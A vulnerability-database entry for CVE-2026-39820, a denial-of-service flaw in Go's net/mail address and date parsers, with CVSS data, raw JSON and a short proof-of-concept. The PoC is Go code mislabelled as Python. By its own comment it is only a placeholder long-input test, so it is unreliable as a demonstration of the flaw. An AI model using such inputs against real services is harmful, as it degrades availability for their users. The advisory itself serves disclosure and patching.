Security Vulnerability Report
中文
CVE-2026-39820 CVSS 7.5 HIGH

CVE-2026-39820

Published: 2026-05-07 20:16:43
Last Modified: 2026-05-08 15:16:37

Description

Well-crafted inputs reaching ParseAddress, ParseAddressList, and ParseDate were able to trigger excessive CPU exhaustion and memory allocations.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Go 语言标准库 (具体受影响版本请参考官方链接 go.dev/cl/759940)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main import ( "fmt" "net/mail" "time" ) func main() { // Simulate a malicious input that triggers excessive CPU/Memory usage // Note: Actual malicious payload would be a specific complex string pattern maliciousInput := "example@" + string(make([]byte, 10000)) + ".com" // Example of long input fmt.Println("Starting PoC for CVE-2026-39820...") start := time.Now() // Trigger the vulnerable function _, err := mail.ParseAddress(maliciousInput) if err != nil { fmt.Println("Error parsing address (expected):", err) } duration := time.Since(start) fmt.Printf("Processing took: %v\n", duration) fmt.Println("If duration is excessive, the system is vulnerable.") }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39820", "sourceIdentifier": "[email protected]", "published": "2026-05-07T20:16:43.187", "lastModified": "2026-05-08T15:16:37.323", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Well-crafted inputs reaching ParseAddress, ParseAddressList, and ParseDate were able to trigger excessive CPU exhaustion and memory allocations."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "references": [{"url": "https://go.dev/cl/759940", "source": "[email protected]"}, {"url": "https://go.dev/issue/78566", "source": "[email protected]"}, {"url": "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "source": "[email protected]"}, {"url": "https://pkg.go.dev/vuln/GO-2026-4986", "source": "[email protected]"}]}}